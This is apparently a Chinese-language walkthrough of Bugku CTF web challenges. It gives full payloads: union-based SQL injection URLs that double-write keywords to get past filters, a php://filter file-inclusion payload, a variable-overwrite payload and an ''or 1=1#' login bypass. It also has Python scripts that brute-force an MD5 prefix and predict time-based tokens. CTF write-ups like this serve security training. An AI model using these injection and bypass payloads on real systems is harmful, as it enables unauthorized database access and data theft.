利用的是变量覆盖漏洞
http://www.mamicode.com/info-detail-2314166.html
payload:http://123.206.31.85:10001/?a=&c=aaaaa
题干:
要求你PUT一串信息"bugku" 才能获得flag
先打开 burpsuite抓包
Send to Repeater
把这里GET改成PUT 然后下边写要传的参数即可
会获得一个base64 转码之后就是flag了
每次刷新的式子不一样 人算并且提交基本不可能
所以就要用到python了
撸脚本:
import requests
import re
url = 'http://123.206.31.85:10002/'
s = requests.session()
html = s.get(url).text
html = html[82:]
nums = re.search('',html).start()
html = html[:nums]
data = {'result':eval(html)}
result = s.post(url,data)
print(result.text)
用正则提取里边的式子 然后eval计算出答案后post提交即可 flag{b37d6bdd7bb132c7c7f6072cd318697c}
得到结果:
不报错 http://47.95.208.167:10005/?mod=read&id=1 order by 4
报错 http://47.95.208.167:10005/?mod=read&id=1 order by 5
所以有4个字段
爆数据库:http://47.95.208.167:10005/?mod=read&id=0 union select 1,database(),3,4
得到web5
爆表:http://47.95.208.167:10005/?mod=read&id=0 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='web5'
得到flag,posts,users
直接爆flag吧
爆字段 http://47.95.208.167:10005/?mod=read&id=0 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='flag'
爆字段值http://47.95.208.167:10005/?mod=read&id=0 union select 1,group_concat(flag),3,4 from flag
先尝试登陆一下 说要本地登陆 于是拿bp抓包 改请求头
返回之后显示密码账号不对 于是找了一会儿 发现网页最下边有一段注释掉的base64
转码后发现是test123 可能是密码 猜测一下账号为admin 于是再登陆试试看
成功得到flag
进去后发现页面是这样的
提示了有robots.txt 于是去瞄一眼
发现有个shell.php页面
要求某个值的MD5值的前6位为89240b
写个py脚本碰撞一下试试看
import hashlib
def get_token(txt):
m1 = hashlib.md5()
m1.update(txt.encode("utf-8"))
token = m1.hexdigest()
return token
for i in range(0,99999999999):
if get_token(str(i))[0:6] == '89240b':
print(i)
break
得到结果 50124
(因为每次给的前六位md5值不一样 所以这里的答案也不一样)
提交后得到flag
发现一个提交页面 一开始也没啥思绪
试了一会儿发现抓包后响应头有个password字段
base64转码后发现
flag{69939c8d3f9a7114471c528d6c19c952}
尝试提交后并不对……
试了一会儿后发现 去掉flag{}
输入到输入框里
你能做的更快一点吗?你花费了xxxx毫秒
于是要我们快的话 就用python写个脚本提交了(而且这里password字段的值每次还不一样)
import requests
import base64
url = 'http://123.206.31.85:10013/index.php'
s = requests.session()
html=s.get(url)
psw = html.headers['Password']
ans = base64.b64decode(psw)
data = {'password':str(ans)[7:39]}
res = s.post(url,data)
print(res.text)
这里先获得页面请求头里边password字段的值
然后用base64转码
再post回去
就可以获得flag了
得到的答案:
直接搜索flag字符串 然后发现 一大串的注入痕迹
观察了发现最后一位的数值不同 猜测可能是ascii 转成 字符就行了
于是把这一串字符串先粘贴到一个记事本里
import re
f = open("shenhe.txt")
line = 1
while line:
line = f.readline()
if line!='':
left = re.search('%3D',line).end()
right = re.search('--',line).start()
print(chr(int(line[left:right])),end='')
f.close()
注入题
先测试单引号
http://123.206.31.85:10018/list.php?id=1'
报错(指的是内容不显示 )
加上注释
http://123.206.31.85:10018/list.php?id=1'--+
不报错
说明这样是可以注入成功的
然后试着测了一下字段数
http://123.206.31.85:10018/list.php?id=1'union select 1,2,3--+
报错
结果测试到1-10都报错
然后跑了一下
http://123.206.31.85:10018/list.php?id=1'union--+
不报错
发现关键字被过滤
然后试了一下 发现 union、select、or、and都被过滤了(有些可能没测)
这里可以用双写关键字绕过
http://123.206.31.85:10018/list.php?id=1'ununionion selecselectt 1,2,3--+
发现字段数是3
爆数据库
http://123.206.31.85:10018/list.php?id=0'ununionion selecselectt 1,database(),3--+
得到web18
爆表
http://123.206.31.85:10018/list.php?id=0'ununionion selecselectt 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema = 'web18'--+
注意information里的or也要双写
得到 ctf,flag
爆字段
http://123.206.31.85:10018/list.php?id=0'ununionion selecselectt 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name = 'flag'--+
获得id,flag
爆字段值
http://123.206.31.85:10018/list.php?id=0'ununionion selecselectt 1,group_concat(flag),3 from flag--+
这里有个动态密文 先尝试刷新的以下 发现一秒内的除了最后一位,动态密文是相同的
猜测是md5(时间戳)+一位随机数
然后写一段脚本提交就好了
import time
import hashlib
import requests
import random
def get_token(src):
md5str = src
m1 = hashlib.md5()
m1.update(md5str.encode("utf-8"))
token = m1.hexdigest()
return token
s = requests.session()
urllen = 160
while urllen==160:
url = 'http://123.206.31.85:10020/?key=' + str(get_token(str(int(time.time()+1)))) + str(random.randint(0, 9))
html = s.get(url).text
urllen = len(html)
print(url)
print(html)
urllen的作用是判断页面的text是否为160 因为如果没有flag出现的话 页面大小就是160
然后跑脚本的时候发现动态密文的值是md5(时间戳+1)+一位随机数值(ps:这个搞了我好久 我还以为脚本写错了)(PPS:时间戳要+1是因为是这台电脑系统时间慢一秒 一般不用加1 多谢评论区的大佬指出~)
最后得出flag
这题一开始完全没头绪 试了好久没反应
那个下载页面是404
一开始我还以为是zidian和ziidan弄反了
还有обть
被这个也误导了很久
下面是解题思路
先扫描目录 发现有个shell.php
这个才是真正的填写页面
然后那个下载页面要把/2去掉
http://123.206.31.85:10025/ziidan.txt
然后把字典里的字符串一个个试 就能试出flag了
(完全不知道这题在考什么????)
一开始以为是文件上传题 在尝试绕过上传无果后 发现url
可能是文件包含漏洞
https://www.cnblogs.com/iamstudy/articles/include_file.html
payload:http://123.206.31.85:10003/?op=php://filter/convert.base64-encode/resource=flag
登录题
先注入测试 没有回显
然后尝试一下万能密码
账号:admin
密码:'or 1=1#
登录成功
获得flag